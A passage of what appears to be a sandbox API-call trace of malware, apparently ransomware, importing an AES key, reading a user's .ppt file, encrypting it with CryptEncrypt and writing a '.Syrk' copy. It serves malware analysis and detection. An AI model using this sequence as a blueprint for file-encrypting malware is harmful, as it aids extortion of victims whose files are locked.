(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0224.279] SystemFunction041 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.279] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0224.279] SystemFunction040 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.279] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0224.279] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0224.279] SystemFunction041 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.279] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0224.279] SystemFunction040 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.279] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0224.280] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0224.280] SystemFunction041 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.280] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0224.280] SystemFunction040 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.280] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0224.280] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0224.280] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0224.280] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0224.280] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0224.281] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0224.281] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0224.281] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0224.281] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0224.281] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0224.281] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0224.281] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0224.281] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0224.281] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0224.281] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0224.281] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0224.281] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0224.282] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0224.282] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0224.282] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0224.282] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0224.282] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0224.282] EtwEventActivityIdControl () returned 0x0 [0224.282] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0224.282] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0224.282] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0224.282] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0224.284] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d100) returned 1 [0224.286] CryptImportKey (in: hProv=0x5c4d100, pbData=0x23775e0*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x3b5128) returned 1 [0224.286] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0224.286] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.287] EtwEventActivityIdControl () returned 0x0 [0224.287] EtwEventActivityIdControl () returned 0x0 [0224.287] EtwEventActivityIdControl () returned 0x0 [0224.294] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\tiksc6klane3n.ppt")) returned 0x20 [0224.295] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\tiksc6klane3n.ppt")) returned 0x20 [0224.295] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0224.295] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt", lpFilePart=0x0) returned 0x44 [0224.295] EtwEventActivityIdControl () returned 0x0 [0224.296] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.296] EtwEventActivityIdControl () returned 0x0 [0224.296] EtwEventActivityIdControl () returned 0x0 [0224.296] EtwEventActivityIdControl () returned 0x0 [0224.302] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0224.302] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt", lpFilePart=0x0) returned 0x44 [0224.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0224.302] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\tiksc6klane3n.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0224.302] GetFileType (hFile=0x454) returned 0x1 [0224.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0224.302] GetFileType (hFile=0x454) returned 0x1 [0224.302] EtwEventActivityIdControl () returned 0x0 [0224.303] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.303] EtwEventActivityIdControl () returned 0x0 [0224.303] EtwEventActivityIdControl () returned 0x0 [0224.303] EtwEventActivityIdControl () returned 0x0 [0224.304] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0224.304] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt.Syrk", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt.Syrk", lpFilePart=0x0) returned 0x49 [0224.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0224.305] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\tiksc6klane3n.ppt.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0224.305] GetFileType (hFile=0x458) returned 0x1 [0224.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0224.306] GetFileType (hFile=0x458) returned 0x1 [0224.306] EtwEventActivityIdControl () returned 0x0 [0224.306] CryptGenRandom (in: hProv=0x5c4d100, dwLen=0x10, pbBuffer=0x238b734 | out: pbBuffer=0x238b734) returned 1 [0224.307] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0224.307] CryptDuplicateKey (in: hKey=0x3b5128, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x3b5028) returned 1 [0224.307] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0224.307] CryptSetKeyParam (hKey=0x3b5028, dwParam=0x4, pbData=0x238ca60*=0x1, dwFlags=0x0) returned 1 [0224.307] CryptSetKeyParam (hKey=0x3b5028, dwParam=0x1, pbData=0x238ca2c, dwFlags=0x0) returned 1 [0224.308] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.308] EtwEventActivityIdControl () returned 0x0 [0224.308] EtwEventActivityIdControl () returned 0x0 [0224.308] EtwEventActivityIdControl () returned 0x0 [0224.309] EtwEventActivityIdControl () returned 0x0 [0224.309] ReadFile (in: hFile=0x454, lpBuffer=0x238f6a8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x238f6a8*, lpNumberOfBytesRead=0x5a2e7d8*=0xceb4, lpOverlapped=0x0) returned 1 [0224.311] CryptEncrypt (in: hKey=0x3b5028, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a36c0*, pdwDataLen=0x5a2e7cc*=0xceb0, dwBufLen=0xceb0 | out: pbData=0x23a36c0*, pdwDataLen=0x5a2e7cc*=0xceb0) returned 1 [0224.312] WriteFile (in: hFile=0x458, lpBuffer=0x238b810*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x238b810*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0224.367] WriteFile (in: hFile=0x458, lpBuffer=0x23a46ac*, nNumberOfBytesToWrite=0xbec4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23a46ac*, lpNumberOfBytesWritten=0x5a2e7b0*=0xbec4, lpOverlapped=0x0) returned 1 [0224.368] ReadFile (in: hFile=0x454, lpBuffer=0x238f6a8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x238f6a8*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0224.368] CryptEncrypt (in: hKey=0x3b5028, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23b057c*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x23b057c*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0224.368] CryptEncrypt (in: hKey=0x3b5028, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23b0598*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x23b0598*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0224.368] WriteFile (in: hFile=0x458, lpBuffer=0x238b810*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x238b810*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0224.368] CloseHandle (hObject=0x458) returned 1 [0224.370] CloseHandle (hObject=0x454) returned 1 [0224.371] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.371] EtwEventActivityIdControl () returned 0x0 [0224.371] EtwEventActivityIdControl () returned 0x0 [0224.371] EtwEventActivityIdControl () returned 0x0 [0224.377] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\tiksc6klane3n.ppt")) returned 0x20 [0224.380] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0224.380] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt", lpFilePart=0x0) returned 0x44 [0224.380] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0224.380] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0224.380] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0224.381] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0224.381] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0224.381] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0224.381] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0224.381] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0224.381] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0224.381] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0224.381] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0224.381] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0224.381] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0224.382] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0224.382] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0224.382] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0224.382] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0224.382] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0224.382] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0224.382] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", lpFilePart=0x0) returned 0x24 [0224.382] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq")) returned 0x10 [0224.382] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq")) returned 0x10 [0224.382] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0224.382] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", lpFilePart=0x0) returned 0x2b [0224.383] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk")) returned 0x10 [0224.383] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk")) returned 0x10 [0224.383] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0224.383] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK", lpFilePart=0x0) returned 0x32 [0224.383] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\tiksc6klane3n.ppt")) returned 0x20 [0224.383] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0224.383] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt", lpFilePart=0x0) returned 0x44 [0224.386] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0224.386] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt", lpFilePart=0x0) returned 0x44 [0224.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0224.386] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0224.386] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt", lpFilePart=0x0) returned 0x44 [0224.386] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\tiksc6klane3n.ppt\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0224.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0224.387] CoTaskMemAlloc (cb=0x404) returned 0x5c9a950 [0224.387] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9a950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0224.387] CoTaskMemFree (pv=0x5c9a950) [0224.388] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\tiksc6klane3n.ppt")) returned 0x20 [0224.389] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0224.389] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt", lpFilePart=0x0) returned 0x44 [0224.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0224.389] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\tiksc6klane3n.ppt"), 